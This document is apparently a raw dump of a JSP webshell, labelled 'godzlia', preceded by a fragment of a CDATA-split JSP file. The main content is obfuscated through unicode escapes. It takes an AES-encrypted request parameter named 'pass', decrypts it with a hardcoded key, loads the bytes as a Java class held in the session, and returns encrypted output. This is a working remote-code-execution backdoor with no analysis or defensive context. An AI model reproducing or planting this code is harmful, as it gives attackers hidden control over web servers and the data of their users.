]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[{]]><![CDATA[}]]></jsp:scriptlet></jsp:root>

godzlia

<%! \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0078\u0063\u003d"3c6e0b8a9c15224a"\u003b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0070\u0061\u0073\u0073\u003d"pass"\u003b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006d\u0064\u0035\u003d\u006d\u0064\u0035\u0028\u0070\u0061\u0073\u0073\u002b\u0078\u0063\u0029\u003b\u0020\u0063\u006c\u0061\u0073\u0073\u0020\u0058\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0058\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u007a\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u007a\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0051\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0063\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0063\u0062\u002c\u0020\u0030\u002c\u0020\u0063\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u0020\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0078\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0073\u002c\u0062\u006f\u006f\u006c\u0065\u0061\u006e\u0020\u006d\u0029\u007b\u0020\u0074\u0072\u0079\u007b\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"\u0041\u0045\u0053")\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u006d\u003f\u0031\u003a\u0032\u002c\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0073\u0070\u0065\u0063\u002e\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u0078\u0063\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c"\u0041\u0045\u0053"\u0029\u0029\u003b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u0073\u0029\u003b\u0020\u007d\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u0075\u006c\u006c\u003b\u0020\u007d\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006d\u0064\u0035\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0029\u0020\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0072\u0065\u0074\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u006a\u0061\u0076\u0061\u002e\u0073\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002e\u004d\u0065\u0073\u0073\u0061\u0067\u0065\u0044\u0069\u0067\u0065\u0073\u0074\u0020\u006d\u003b\u006d\u0020\u003d\u0020\u006a\u0061\u0076\u0061\u002e\u0073\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002e\u004d\u0065\u0073\u0073\u0061\u0067\u0065\u0044\u0069\u0067\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"\u004d\u0044\u0035"\u0029\u003b\u006d\u002e\u0075\u0070\u0064\u0061\u0074\u0065\u0028\u0073\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c\u0020\u0030\u002c\u0020\u0073\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0028\u0029\u0029\u003b\u0072\u0065\u0074\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006d\u0061\u0074\u0068\u002e\u0042\u0069\u0067\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0031\u002c\u0020\u006d\u002e\u0064\u0069\u0067\u0065\u0073\u0074\u0028\u0029\u0029\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0036\u0029\u002e\u0074\u006f\u0055\u0070\u0070\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0072\u0065\u0074\u003b\u0020\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0073\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.\u0042\u0061\u0073\u0065\u0036\u0034"\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"\u0067\u0065\u0074\u0045\u006e\u0063\u006f\u0064\u0065\u0072"\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"encodeToString"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0072"\u0029\u003b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"encode"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0032\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u0020\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0062\u0073\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.\u0042\u0061\u0073\u0065\u0036\u0034"\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"getDecoder"\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072"\u0029\u003b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"decodeBuffer"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0032\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u0020\u007d%><%\u0074\u0072\u0079\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0064\u0061\u0074\u0061\u003d\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0070\u0061\u0073\u0073\u0029\u0029\u003b\u0064\u0061\u0074\u0061\u003d\u0078\u0028\u0064\u0061\u0074\u0061\u002c\u0020\u0066\u0061\u006c\u0073\u0065\u0029\u003b\u0069\u0066\u0020\u0028\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u0029\u003d\u003d\u006e\u0075\u006c\u006c\u0029\u007b\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u002c\u006e\u0065\u0077\u0020\u0058\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0051\u0028\u0064\u0061\u0074\u0061\u0029\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u007b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"parameters"\u002c\u0064\u0061\u0074\u0061\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0061\u0072\u0072\u004f\u0075\u0074\u003d\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0066\u003d\u0028\u0028\u0043\u006c\u0061\u0073\u0073\u0029\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0066\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0061\u0072\u0072\u004f\u0075\u0074\u0029\u003b\u0066\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006d\u0064\u0035\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030\u002c\u0031\u0036\u0029\u0029\u003b\u0066\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0028\u0078\u0028\u0061\u0072\u0072\u004f\u0075\u0074\u002e\u0074\u006f\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u0028\u0029\u002c\u0020\u0074\u0072\u0075\u0065\u0029\u0029\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006d\u0064\u0035\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0036\u0029\u0029\u003b\u007d\u0020\u007d\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u007d%>